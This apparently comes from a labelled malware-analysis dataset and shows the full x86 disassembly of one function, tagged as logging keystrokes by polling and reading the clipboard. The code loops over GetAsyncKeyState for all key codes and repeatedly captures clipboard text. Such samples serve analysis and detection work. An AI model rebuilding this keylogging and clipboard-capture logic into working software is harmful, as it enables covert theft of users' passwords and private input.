Function at 0x403342
Capabilities:
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xdc
mov dword [ebp - 0xa4], sym.___gxx_personality_sj0
mov dword [ebp - 0xa0], 0x44a31c
lea eax, [ebp - 0x9c]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x403504
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0xbc]
mov dword [esp], eax
call sym.__Unwind_SjLj_Register
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov dword [ebp - 0xb8], 0xffffffff
call fcn.0043a378
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov dword [ebp - 0xb8], 4
call fcn.0043a378
mov dword [ebp - 0xb8], 3
call sub.WINMM.DLL_timeGetTime
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], 1
mov byte [ebp - 0x45], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x4e20
mov dword [ebp - 0x58], 1
mov dword [ebp - 0xb8], 3
call sub.WINMM.DLL_timeGetTime
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x54]
jae 0x4037ba
cmp byte [ebp - 0x45], 0
jne 0x403412
call sub.WINMM.DLL_timeGetTime
mov dword [ebp - 0x40], eax
mov dword [esp], 0
mov dword [ebp - 0xb8], 3
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x403601
mov dword [esp], 1
call sub.USER32.dll_GetClipboardData
sub esp, 4
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x4035f2
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.0043a998
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
lea eax, [ebp - 0x28]
mov dword [esp], eax
call method.std::string.compare_std::string_const__const
test eax, eax
je 0x4035f2
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
lea eax, [ebp - 0x38]
mov dword [esp], eax
call fcn.0043a9d8
lea eax, [ebp - 0x78]
mov dword [ebp - 0xc0], eax
lea edx, [ebp - 0x88]
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], str._copied_
mov dword [esp], edx
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::basic_string_char__std::char_traits_char___std::allocator_char____const_
sub esp, 4
lea eax, [ebp - 0x88]
mov dword [esp + 8], str.__copied_
mov dword [esp + 4], eax
mov edx, dword [ebp - 0xc0]
mov dword [esp], edx
mov dword [ebp - 0xb8], 2
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
sub esp, 4
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0xc
mov dword [esp], eax
mov dword [ebp - 0xb8], 1
call method.std::string.operator_std::string_const_
jmp 0x403571
lea eax, [ebp - 0x78]
mov dword [esp], eax
mov dword [ebp - 0xb8], 2
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
jmp 0x4035bd
lea eax, [ebp - 0x88]
mov dword [esp], eax
mov dword [ebp - 0xb8], 3
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea eax, [ebp - 0x4c]
inc dword [eax]
cmp byte [ebp - 0x45], 0
jne 0x4035f2
cmp dword [ebp - 0x4c], 2
jne 0x4035f2
call sub.WINMM.DLL_timeGetTime
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x45], 1
mov dword [ebp - 0xb8], 3
call sub.USER32.dll_CloseClipboard
mov dword [ebp - 0x5c], 1
cmp dword [ebp - 0x5c], 0xff
jg 0x4033e9
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
mov dword [ebp - 0xb8], 3
call sub.USER32.dll_GetAsyncKeyState
sub esp, 4
cmp ax, 0x8001
jne 0x403781
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call method.TData.GetKeyFromKeyboard_int_
mov dword [ebp - 0x50], eax
cmp byte [ebp - 0x45], 0
jne 0x403664
cmp dword [ebp - 0x50], 1
jne 0x403664
call sub.WINMM.DLL_timeGetTime
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x45], 1
movzx eax, byte [ebp - 0x45]
cmp eax, 1
jne 0x403781
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0xc
mov dword [esp], eax
mov dword [ebp - 0xb8], 3
call method.std::string.operator_std::string_const_
mov dword [esp + 4], 0x44d013
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x4036dd
cmp dword [ebp - 0x44], 2
jne 0x4036c7
call sub.WINMM.DLL_timeGetTime
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], 3
jmp 0x403781
cmp dword [ebp - 0x44], 4
jne 0x403781
mov dword [ebp - 0x44], 5
jmp 0x403781
cmp dword [ebp - 0x44], 1
je 0x4036eb
cmp dword [ebp - 0x44], 2
je 0x4036eb
jmp 0x403716
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0x18
mov dword [esp], eax
mov dword [ebp - 0xb8], 3
call method.std::string.operator_std::string_const_
mov dword [ebp - 0x44], 2
jmp 0x403781
cmp dword [ebp - 0x44], 3
je 0x403724
cmp dword [ebp - 0x44], 4
je 0x403724
jmp 0x403781
mov dword [ebp - 0xb8], 3
call sub.WINMM.DLL_timeGetTime
sub eax, dword [ebp - 0x3c]
cmp eax, 0xbb8
jbe 0x403746
mov dword [ebp - 0x44], 5
jmp 0x40376f
mov dword [ebp - 0x44], 4
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0x1c
mov dword [esp], eax
mov dword [ebp - 0xb8], 3
call method.std::string.operator_std::string_const_
mov dword [ebp - 0xb8], 3
call sub.WINMM.DLL_timeGetTime
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x5c]
inc dword [eax]
jmp 0x403608
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov dword [ebp - 0xb8], 4
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
jmp 0x403816
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov dword [ebp - 0xb8], 0xffffffff
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea eax, [ebp - 0xbc]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret